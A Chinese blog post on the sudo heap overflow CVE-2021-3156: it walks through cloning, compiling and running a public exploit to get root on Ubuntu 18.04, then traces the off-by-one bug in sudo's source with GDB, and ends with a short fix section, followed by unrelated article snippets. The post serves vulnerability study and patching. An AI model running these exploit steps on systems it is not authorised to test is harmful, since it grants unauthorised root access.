当前位置: 首页 > news >正文

【CVE-2021-3156】——漏洞复现、原理分析以及漏洞修复

文章目录

  • 前言
  • 1、漏洞概述
  • 2、漏洞复现
    • 2.1、漏洞复现测试环境
    • 2.2、漏洞复现具体步骤
  • 3、漏洞原理
    • 3.1、前置知识
      • 3.1.1、sudo
      • 3.1.2、sudoedit
      • 3.1.3、转义字符
    • 3.2、漏洞分析
  • 4、漏洞修复
  • 5、参考文献
  • 总结


前言

  2021年01月27日,RedHat官方发布了Sudo缓冲区/栈溢出漏洞的风险通告,普通用户可以通过利用此漏洞,而无需进行身份验证,成功获取Root权限。


1、漏洞概述

  1.9.5p2之前的Sudo包含一个off-by-one错误,该错误可能导致基于堆的缓冲区溢出,这允许通过sudoedit -s和以单个反斜杠字符结尾的命令行参数将权限提升到root。关于此漏洞的详细信息请参阅下表。关于此漏洞的更多信息,请参阅阿里云漏洞库和NVD:

描述项具体值
CVE编号CVE-2021-3156
NVD评分7.8
披露时间2021-01-27
漏洞类型堆缓冲区溢出、Off-by-one错误、跨界内存写
漏洞危害本地提权
影响范围1.8.2<sudo<1.8.31p2、1.9.0<sudo<1.9.5p1
是否有Patch
Patch是否可用暂无
数据保密性无影响
数据完整性无影响
攻击路径本地
攻击复杂度容易

2、漏洞复现

2.1、漏洞复现测试环境

软件环境硬件环境约束条件
操作系统版本为ubuntu-18.04.5-desktop-amd64分配4个处理器,每个处理器有4个内核,处理器内核总数为161.8.2<sudo<1.8.31p2
Linux内核版本为5.4.0-42-generic内存16GB1.9.0<sudo<1.9.5p1
使用的虚拟机管理器为VMware 17.0.0硬盘400GB暂无

2.2、漏洞复现具体步骤

  首先去文件服务器中查找是否存在符合当前漏洞条件的操作系统和Linux内核版本的组合的虚拟机系统,如果存在,则参考下文进行漏洞复现。否则请参阅“POC验证环境搭建规范”一文搭建满足当前漏洞条件的操作系统和Linux内核的组合的虚拟机系统并将其上传到我们的服务器后,再参考下文进行漏洞复现。

  1. 首先查看当前Ubuntu系统的版本:
$ lsb_release -a
  1. 可以发现当前Ubuntu系统的版本为18.04.5 LTS:
    在这里插入图片描述

  2. 然后查看当前Ubuntu系统的Linux内核的版本:

$ uname -r
  1. 可以发现当前Ubuntu系统的Linux内核的版本为5.4.0-42-generic:
    在这里插入图片描述

  2. 然后使用如下命令查看当前系统中的sudo的版本:

$ sudo --version
  1. 可以发现当前系统中的sudo的版本为1.8.21p2:
    在这里插入图片描述

  2. 然后下载安装POC/CVE验证所需要的软件:

$ sudo apt-get update
$ sudo apt-get install git -y
$ sudo apt-get install make -y
$ sudo apt-get install gcc -y
$ sudo apt-get install g++ -y
  1. 然后来到当前用户的根目录中,创建名为“CVE-2021-3156”的目录,并进入此目录:
$ cd ~
$ mkdir CVE-2021-3156
$ cd CVE-2021-3156/
  1. 然后在名为“CVE-2021-3156”的目录中下载Exploit源码,并进入其源码目录:
$ git clone https://github.com/blasty/CVE-2021-3156.git
$ cd CVE-2021-3156/
  1. 然后执行如下命令来编译源代码以得到用于POC/CVE验证的二进制文件:
$ make
  1. 然后使用如下命令查看上面的操作的结果:
$ ll
  1. 可以发现,已经成功得到了用于POC/CVE验证的二进制文件:
    在这里插入图片描述

  2. 然后在此目录中继续创建一个名为“run.sh”的文件,并编辑其:

$ touch run.sh
$ gedit run.sh
  1. 在打开的文件中,输入如下内容。这些内容就是用来自动化和规范的来进行POC/CVE的验证:
#!/bin/bash# Run script for CVE-2021-3156 exploit# Add any setup commands if needed
# Example: ./setup.sh# Run the exploit binary
./sudo-hax-me-a-sandwich 0# Add any cleanup commands if needed
# Example: rm -f some_fileecho "Script execution completed."
  1. 当我们做完以上操作后,保存以上修改后退出,然后赋予“run.sh”脚本执行权限,并执行其以进行POC/CVE的验证:
$ chmod +x run.sh
$ ./run.sh
  1. 执行上面的命令后,发现已经成功利用此Exploit获取到了root用户的权限:
    在这里插入图片描述

  2. 我们可以使用如下命令进一步验证当前用户的权限:

# whoami
  1. 可以发现,已经成功提权:
    在这里插入图片描述

3、漏洞原理

3.1、前置知识

3.1.1、sudo

  sudo(Superuser Do)是一个在Unix和类Unix操作系统中用于以超级用户(root用户)权限执行命令的命令行工具。它允许系统管理员授权普通用户执行特定任务,而不需要提供完整的超级用户凭证。以下是关于sudo工具的一些关键特点和用法:

  1. 权限提升:允许普通用户以超级用户身份执行特定的命令或访问受保护的文件,通常需要输入用户自己的密码而不是超级用户密码。
  2. 安全性:提高系统的安全性,因为用户只有在需要时才能获得超级用户权限,并且所有的操作都可以被审计。
  3. 配置文件:可以通过配置文件(通常是“/etc/sudoers”)定义哪些用户可以执行哪些命令,以及在执行这些命令时是否需要输入密码。
  4. 命令格式:sudo命令通常的格式为sudo [选项] 命令 [命令参数]。例如,sudo ls /root允许普通用户以超级用户权限列出“/root”目录的内容。

  请注意,sudo可以用于在终端中执行单个命令,也可以使用sudo -ssudo su来启动一个新的shell以获取超级用户权限,但这样的使用需要谨慎,确保只有授权的用户可以执行。

3.1.2、sudoedit

  sudoedit是sudo命令的一个别名,用于以超级用户(root用户)权限编辑文件。它允许普通用户在不需要完全切换到超级用户账户的情况下,通过指定的文本编辑器编辑受保护的文件。以下是一些关于sudoedit命令的一些关键特点和用法:

  1. 权限控制:允许普通用户编辑系统中的文件,而不需要直接使用超级用户权限。这有助于提高系统的安全性。
  2. 配置文件:类似于sudo命令,sudoedit命令的权限也可以通过配置文件(通常是“/etc/sudoers”)进行定义和配置。
  3. 安全性:由于编辑器的选择是通过配置文件中指定的,系统管理员可以限制用户可以使用的编辑器,从而提高安全性。
  4. 命令格式:sudoedit命令的基本格式是sudoedit [选项] 文件。例如,sudoedit /etc/hosts命令允许用户以超级用户权限编辑“/etc/hosts”文件。
  5. 基本参数:
    • -s--shell:打开一个新的shell,允许用户以超级用户权限执行命令
    • -h--help:显示sudoedit的帮助信息,列出可用选项和参数
    • -V--version:显示sudoedit的版本信息
    • -b--background:在后台模式下运行编辑器。这对于在脚本或其他自动化任务中使用sudoedit可能很有用

  使用sudoedit命令时,用户通常会被要求输入他们自己的密码,而不是超级用户密码,以进行身份验证。这使得sudoedit更加安全,因为系统可以追踪哪个用户以超级用户权限编辑了哪些文件。

3.1.3、转义字符

  转义字符是一种用于表示一些特殊字符的机制,通常通过在字符前面加上反斜杠(\)来实现。转义字符告诉解释器或编译器,后面的字符应该以不同于其原始含义的方式被解释。以下是一些常见的转义字符及其用途:

  1. \n:换行符,用于在字符串中创建新的一行。
  2. \t:制表符,用于在字符串中插入水平制表符。
  3. \r:回车符,将光标移动到行首而不换行。
  4. ":双引号,用于在双引号内表示双引号字符。
  5. ':单引号,用于在单引号内表示单引号字符。
  6. \:反斜杠,用于在字符串中表示反斜杠字符本身。
  7. \x:十六进制转义,用于表示一个字符的十六进制值,例如\x41表示字符’A’。

  在编程语言和正则表达式等上下文中,转义字符是为了能够处理和表示特殊字符,以及避免与语言中的其他语法冲突。例如,在字符串中使用转义字符可以让你插入一些特殊的字符,而不会与字符串的边界或其他字符产生歧义。需要注意的是:

  • C语言中,\\表示\
  • GDB中,\\表示\

3.2、漏洞分析

  为了分析CVE-2021-3156漏洞的原理,我们需要从sudo工具的源代码级别对其进行分析,还需要GDB对其进行调试。我们以1.8.31p1版本的sudo工具的源代码为例进行分析(因为系统自带的sudo工具没有开启调试功能,故无法对其进行分析,且1.8.31p1版本的sudo工具也存在CVE-2021-3156漏洞),当前首先需要下载此版本的sudo工具的源代码,并进入其源代码目录中。

$ cd ~
$ wget https://www.sudo.ws/dist/sudo-1.8.31p1.tar.gz
$ tar xf sudo-1.8.31p1.tar.gz
$ cd sudo-1.8.31p1/

  然后我们打开如下文件,来查看其中内容。

$ gedit src/parse_args.c

  在打开的文件中定位到第590~第591行(此部分代码属于名为“parse_args”的函数),这部分代码添加了sudo命令对于特殊格式参数的转义的处理,即如果参数不是数字或者字母,并且不是_-$字符,则对其进行转义。
在这里插入图片描述

  然后我们关闭以上文件,并打开如下文件,来查看其中内容。

$ gedit plugins/sudoers/sudoers.c

  在打开的文件中定位到第864~第871行(此部分代码属于名为“set_cmnd”的函数),这部分代码的作用是去掉所有的转义符\,因为外部的输入参数最终需要保存到内存中的堆或栈空间,而这个名为“set_cmnd”的函数就是为了将命令行参数复制到堆内存,所以需要去掉所有的转义符\。我们今天讨论的CVE-2021-3156漏洞源于此处的代码。
在这里插入图片描述

  然后关闭以上文件即可。当我们对上述两个函数的作用有了一个清楚的认识之后,现在假设当我们执行sudoedit -s '\' python3 -c “print(‘A’*8)”``命令,会有两种情况:

  • 情况一:首先使用parse_args函数对命令中的\进行转义,然后传入set_cmnd函数中消除转义,这个过程是没问题的,最终可以正常执行命令
  • 情况二:不使用parse_args函数对命令中的\进行转义,然后也会进入set_cmnd函数中消除转义,不过此时在for循环的拷贝过程中,由于输入的参数只有一个\,因为没有对其进行转义,那么就会满足if判断的条件,跳过\,从而拷贝\后面的参数到user_args中,即’AAAAAAAA’(由于没有转义造成的第一次拷贝),当使用while循环拷贝完毕后,再次进入for循环,又将’AAAAAAAA’拷贝到user_args中(正常的第二次拷贝),那此时很明显拷贝的数据已经超过了user_args的长度,从而导出其发生堆溢出的情况,这样我们就可以计算出对应的溢出地址,对其插入shellcode,最终可以让普通用户提权

  下面我们将会使用GDB调试sudoedit -s '\' python3 -c “print(‘A’*8)”``命令来复现这整个过程。需要注意的是,我们不能直接使用系统自带的sudo工具来复现整个过程,因为其没有开启调试模式,我们得手动编译安装sudo工具,并开启调试模式,这就要用到我们刚刚下载的sudo 1.8.31p1的源代码了。

  1. 首先进入刚刚下载的sudo 1.8.31p1的源代码目录中,开启-g选项来安装此版本的sudo工具:
$ cd ~/sudo-1.8.31p1/
$ ./configure CFLAGS="-g"
$ make
$ sudo make install
$ sudo cp src/sudo /usr/bin/sudo
  1. 然后查看当前系统中的sudo工具的版本:
$ sudo -V
  1. 可以发现,当前系统中的sudo工具的版本就是我们刚刚安装的sudo工具的版本:
    在这里插入图片描述

  2. 然后我们得安装GDB:

$ sudo apt-get update
$ sudo apt-get install gdb -y
  1. 然后对sudoedit -s '\' python3 -c “print(‘A’*8)”``命令进行调试:
$ sudo gdb --args sudoedit -s '\' `python3 -c "print('A'*8)"`
  1. 然后按照如下方式设置断点。注:这里在设置断点的时候可能会提示我们找不到目标文件,这很正常,别担心,因为sudo工具的代码是动态加载的,我们只需要在这里设置好断点,后面当我们调试程序的时候,目标文件的代码就会自动加载进来了:
(gdb) b main
(gdb) set follow-exec-mode new
(gdb) set breakpoint pending on
(gdb) b sudoers.c:858
(gdb) b sudoers.c:872
  1. 然后运行程序,并继续向下执行程序直到断点:
(gdb) r
(gdb) c
  1. 当我们遇到断点后,查看user_args申请的内存空间的大小:
(gdb) p size
  1. 可以发现此时user_args申请的内存空间的大小为11,这符合常理,因为参数\和参数AAAAAAAA长度一共为9,而每个字符串后面都还有\0作为占位符表示当前字符串结束,所以长度一共为11=2+9:
    在这里插入图片描述

  2. 我们可以查看一下此时NewArgv所指向的内存空间中的具体值:

(gdb) p NewArgv[0]
(gdb) p NewArgv[1]
(gdb) p NewArgv[2]
  1. 可以发现,此时NewArgv所指向的内存空间中的具体值和我们预想的一样:
    在这里插入图片描述

  2. 经过上面的分析,我们是通过以下代码完成对NewArgv[1]NewArgv[2]中的数据到user_args的拷贝:

if (from[0] == '\\' && !isspace((unsigned char)from[1]))  from++;  
  1. 以上代码中的from就指向了NewArgv,如果传入的参数为\,那么就会进入上面的代码段完成对参数的拷贝,不过此拷贝过程不会停止,因为一直都满足if判断的条件,直到拷贝完参数AAAAAAAA才结束这一轮的拷贝。所以我们重点关注NewArgv[1]后面的值,因为NewArgv[1]指向的内存空间就存储了传入的参数\
(gdb) x/20xb 0x7ffe6a73d834
  1. 可以发现,NewArgv[1]后面刚好是AAAAAAAA,这就印证了我们的猜想:
    在这里插入图片描述

  2. 然后查看一下此时(还没有开始拷贝)的user_args指向的内存空间的地址,和其中的具体值:

(gdb) p sudo_user.cmnd_args
(gdb) x/8xg 0x55a1702eb6a0
  1. 可以发现,此时user_args指向的内存空间的地址为“0x55a1702eb6a0”,其中的具体值如下图所示:
    在这里插入图片描述

  2. 然后从此处的断点继续向下执行程序来完成所有的拷贝过程,直到下一个断点:

(gdb) c
  1. 当我们完成拷贝过程后,再次查看user_args指向的内存空间中的具体值:
(gdb) x/8xg 0x55a1702eb6a0
  1. 可以发现,参数AAAAAAAA被复制了两次,这就验证了我们的猜想:
    在这里插入图片描述

  2. 为了进一步验证我们的猜想,我们来查看拷贝完成之后指针停留的内存空间地址(即指针to指向的内存空间的地址):

(gdb) p to
  1. 然后计算并打印拷贝完成后的内存空间的大小:
(gdb) p 0x55a1702eb6b3-0x55a1702eb6a0
  1. 可以发现,拷贝完成后的内存空间的大小为19,刚好多了参数AAAAAAAA的长度,即19=11+8。那么经过以上分析,已经成功验证了我们所有猜想,证明了CVE-2021-3156漏洞确实可以导致堆/栈溢出:
    在这里插入图片描述

  2. 最后我们顺序执行如下命令结束本次调试即可(如果有提示输入“y”或者“n”,我们只需要输入“y”后按一下“Enter”即可):

(gdb) quit

4、漏洞修复

  下载升级sudo软件包,下载链接为:https://www.sudo.ws/dist/
  ……
  关于此漏洞补丁的详细信息请参阅https://avd.aliyun.com/detail?id=AVD-2021-3156。

5、参考文献

  1. 阿里云漏洞库
  2. NVD
  3. Exploit
  4. CVE-2021-3156 漏洞复现
  5. 【CVE-2021-3156】linux sudo提权漏洞复现及修复
  6. cve-2021-3156-sudo堆溢出简单分析
  7. CVE-2021-3156分析
  8. CVE-2021-3156 sudo本地提权漏洞分析
  9. CVE-2021-3156调试分享
  10. Download Sudo | Sudo
  11. sudo版本升级以消除CVE-2021-3156
  12. 修复CVE-2021-3156漏洞的具体方法

总结

  以上就是关于CVE-2021-3156的全部内容了,后续还会带来关于其它应用漏洞的漏洞复现、原理分析以及漏洞修复,我们下篇博客见!

相关文章:

【CVE-2021-3156】——漏洞复现、原理分析以及漏洞修复

文章目录 前言1、漏洞概述2、漏洞复现2.1、漏洞复现测试环境2.2、漏洞复现具体步骤 3、漏洞原理3.1、前置知识3.1.1、sudo3.1.2、sudoedit3.1.3、转义字符 3.2、漏洞分析 4、漏洞修复5、参考文献总结 前言 2021年01月27日,RedHat官方发布了Sudo缓冲区/栈溢出漏洞的风…...

Github 2024-05-31 Java开源项目日报 Top10

根据Github Trendings的统计,今日(2024-05-31统计)共有10个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量Java项目10TypeScript项目1JavaGuide - Java 程序员学习和面试指南 创建周期:2118 天开发语言:Java协议类型:Apache License 2.0Star数量:1…...

【上海大学计算机组成原理实验报告】六、内存系统实验

一、实验目的 学习内存访问机制。理解代码和数据的分区存放原理和技术。 二、实验原理 根据实验指导书的相关内容,地址寄存器MAR用来存放要进行读或写的存储器EM的地址。其内容经数据总线DBUS写入,因此必须在数据总线上具有数据后,配合MAR允…...

C++:细谈Sleep和_sleep

ZINCFFO的提醒 还记得上上上上上上上上上上上上上上上上上上(上的个数是真实的)篇文章吗? 随机应变——Sleep()和_sleep() 但在ZINCFFO的C怪谈-02中: 我不喜欢Sleep...... 奤?媜煞鷥! 整活!…...

CORS前端:深度解析跨域资源共享机制及其前端应用

CORS前端:深度解析跨域资源共享机制及其前端应用 在前端开发领域,CORS(跨源资源共享)是一个不可或缺的概念。它允许网页应用在不同的源(域、协议或端口)之间进行资源请求和共享,从而打破了同源…...

React@16.x(15)PureComponent 和 memo

目录 1,什么是 PureComponent2,什么是 memo3,举例3.2,优化13.1,优化2-函数位置 4,注意点4.1,为了提升效率,应该尽量使用 PureComponent4.2,不要直接改变之前的状态&#…...

[C++11/14新特性] tuple元组介绍

C11 标准新引入了一种类模板,命名为 tuple(中文可直译为元组)。tuple 最大的特点是:实例化的对象可以存储任意数量、任意类型的数据。tuple 的应用场景很广泛,例如当需要存储多个不同类型的元素时,可以使用…...

小熊家务帮day8-day9 客户管理模块2 (用户定位,地址簿,实名认证,银行卡信息上传等功能)

客户管理模块 0.用户定位功能0.1 需求0.2 接口分析0.3 接口开发Controller层开发Service层开发 1.我的地址簿功能1.1 需求1.2 数据库设计1.3 新增地址簿1.3.1 接口设计1.3.2 接口开发Controller层开发Service层开发测试功能 1.4 地址簿查询1.4.1 接口设计1.4.2 接口开发Control…...

amis 事件动作 和 行为按钮 常用用法

行为按钮 action (仅是对click事件的处理) actionType:这是 action 最核心的配置,来指定该 action 的作用类型,支持:ajax、link、url、drawer、dialog、confirm、cancel、prev、next、copy、close。 Butt…...

4K高刷显示器 - 蚂蚁电竞ANT27VU

可以毫不夸张地说,每一局游戏最终能够取得胜利,实际上都与一套极为优秀的电竞 PC 有着紧密的关联,因为其能够提供强大的性能支持与流畅的体验。同样的道理,一套优秀的电竞 PC 若想发挥出最佳的效果,那也都离不开一台能…...

图解支付系统的渠道路由设计

大家好,我是隐墨星辰,今天和大家聊聊渠道路由设计。 这篇文章主要讲清楚:渠道路由是什么,为什么需要渠道路由,渠道路由的几种形态,一个简洁而实用的基于规则的渠道路由设计。 注:有些公司称渠…...

Leecode---347:输出前k个高频元素(使用unordered_map)

题目: 给你一个整数数组 nums 和一个整数 k ,请你返回其中出现频率前 k 高的元素。你可以按 任意顺序 返回答案。 思路: 三步: 1、用map来记录每个元素出现的次数 2、按map中的值大小排序,先让其有序,再逆…...

k8s ceph(静态pvc)

1.在 Kubernetes 节点上安装ceph-common 包。这个包包含了连接到 Ceph 集群所需的工具和库。可以使用以下命令在每个节点上安装: sudo apt-get install ceph-common2.在 Kubernetes 中创建一个 Secret 对象,用于存储连接到 Ceph 集群所需的密钥和配置信息…...

Qt QScript 之 C++/JavaScript相互调用

文章目录 Qt Script什么是ECMAScriptQt 中JavaScriptclass 详解Basic UsageQObject对脚本引擎可用使用信号槽connect 三种模式访问属性, 子对象使c++对象可用于用Qt Script编写的脚本C++ 类成员函数可用于脚本C++ 类属性可用于脚本对脚本中的c++对象信号的反应函数对象和本机函…...

可能会引起空指针

PreparedStatement preparedStatement null; preparedStatement conn.prepareStatement(sql); 如果直接下面这个可能会赋值给空指针 因为要在try{}和catch{}里面都用,所以要定义在try外面为null //如果只是测试,可以PreparedStatement preparedStatement conn.prepareSta…...

Linux input输入子系统

Linux input 更多内容可以查看我的github Linux输入子系统框架 Linux输入子系统由驱动层、核心层、事件处理层三部分组成。 驱动层:输入设备的具体驱动程序,负责与具体的硬件设备进行交互,并将底层的硬件输入转化为统一的事件形式&#xff…...

dataworks调度参数

概述 调度参数是DataWorks任务调度时使用的参数,调度参数会根据任务调度的业务时间及调度参数的取值格式自动替换取值,实现在任务调度时间内参数的动态取值。 调度参数通过赋值方式分为自定义参数(推荐)和系统内置变量两大类。 …...

JavaScript第五讲:事件,条件循环语句,错误处理

前言 在编程的世界里,事件、条件和循环语句、以及错误处理是构建任何复杂程序或应用的基石。无论是开发一个简单的网页交互,还是构建一个庞大的企业级系统,这些基础概念都扮演着至关重要的角色。今天星途将通过这篇文章,分别深入…...

BrainGPT1,一个帮你b站点歌放视频的多模态多轮对话模型

BrainGPT1,一个帮你b站点歌放视频的多模态多轮对话模型 返回论文目录 项目地址 模型地址 作者:华东师范大学,计算机科学与技术学院,智能教育研究院的小怪兽会微笑。 介绍 BrainGPT1是一个工具调用多轮对话模型,与G…...

带DSP音效处理D类数字功放TAS5805M中文资料

国产替代D类数字功放中文资料访问下方链接 ACM8628 241W立体声182W单通道数字功放中文寄存器表 内置DSP多种音频处理效果ACM8628M-241W立体声或182W单通道数字功放 1 特性 具有增强处理能力和低功率损耗的 TAS5805M 23W、无电感器、数字输入、立体声、闭环 D 类音频放大器 …...

简易版抽奖活动的设计技术方案

1.前言 本技术方案旨在设计一套完整且可靠的抽奖活动逻辑,确保抽奖活动能够公平、公正、公开地进行,同时满足高并发访问、数据安全存储与高效处理等需求,为用户提供流畅的抽奖体验,助力业务顺利开展。本方案将涵盖抽奖活动的整体架构设计、核心流程逻辑、关键功能实现以及…...

从WWDC看苹果产品发展的规律

WWDC 是苹果公司一年一度面向全球开发者的盛会,其主题演讲展现了苹果在产品设计、技术路线、用户体验和生态系统构建上的核心理念与演进脉络。我们借助 ChatGPT Deep Research 工具,对过去十年 WWDC 主题演讲内容进行了系统化分析,形成了这份…...

连锁超市冷库节能解决方案:如何实现超市降本增效

在连锁超市冷库运营中,高能耗、设备损耗快、人工管理低效等问题长期困扰企业。御控冷库节能解决方案通过智能控制化霜、按需化霜、实时监控、故障诊断、自动预警、远程控制开关六大核心技术,实现年省电费15%-60%,且不改动原有装备、安装快捷、…...

ElasticSearch搜索引擎之倒排索引及其底层算法

文章目录 一、搜索引擎1、什么是搜索引擎?2、搜索引擎的分类3、常用的搜索引擎4、搜索引擎的特点二、倒排索引1、简介2、为什么倒排索引不用B+树1.创建时间长,文件大。2.其次,树深,IO次数可怕。3.索引可能会失效。4.精准度差。三. 倒排索引四、算法1、Term Index的算法2、 …...

Python 包管理器 uv 介绍

Python 包管理器 uv 全面介绍 uv 是由 Astral(热门工具 Ruff 的开发者)推出的下一代高性能 Python 包管理器和构建工具,用 Rust 编写。它旨在解决传统工具(如 pip、virtualenv、pip-tools)的性能瓶颈,同时…...

什么是VR全景技术

VR全景技术,全称为虚拟现实全景技术,是通过计算机图像模拟生成三维空间中的虚拟世界,使用户能够在该虚拟世界中进行全方位、无死角的观察和交互的技术。VR全景技术模拟人在真实空间中的视觉体验,结合图文、3D、音视频等多媒体元素…...

Python 训练营打卡 Day 47

注意力热力图可视化 在day 46代码的基础上,对比不同卷积层热力图可视化的结果 import torch import torch.nn as nn import torch.optim as optim from torchvision import datasets, transforms from torch.utils.data import DataLoader import matplotlib.pypl…...

「Java基本语法」变量的使用

变量定义 变量是程序中存储数据的容器,用于保存可变的数据值。在Java中,变量必须先声明后使用,声明时需指定变量的数据类型和变量名。 语法 数据类型 变量名 [ 初始值]; 示例:声明与初始化 public class VariableDemo {publi…...

大模型真的像人一样“思考”和“理解”吗?​

Yann LeCun 新研究的核心探讨:大语言模型(LLM)的“理解”和“思考”方式与人类认知的根本差异。 核心问题:大模型真的像人一样“思考”和“理解”吗? 人类的思考方式: 你的大脑是个超级整理师。面对海量信…...

window 显示驱动开发-如何查询视频处理功能(三)

​D3DDDICAPS_GETPROCAMPRANGE请求类型 UMD 返回指向 DXVADDI_VALUERANGE 结构的指针,该结构包含特定视频流上特定 ProcAmp 控件属性允许的值范围。 Direct3D 运行时在D3DDDIARG_GETCAPS的 pInfo 成员指向的变量中为特定视频流的 ProcAmp 控件属性指定DXVADDI_QUER…...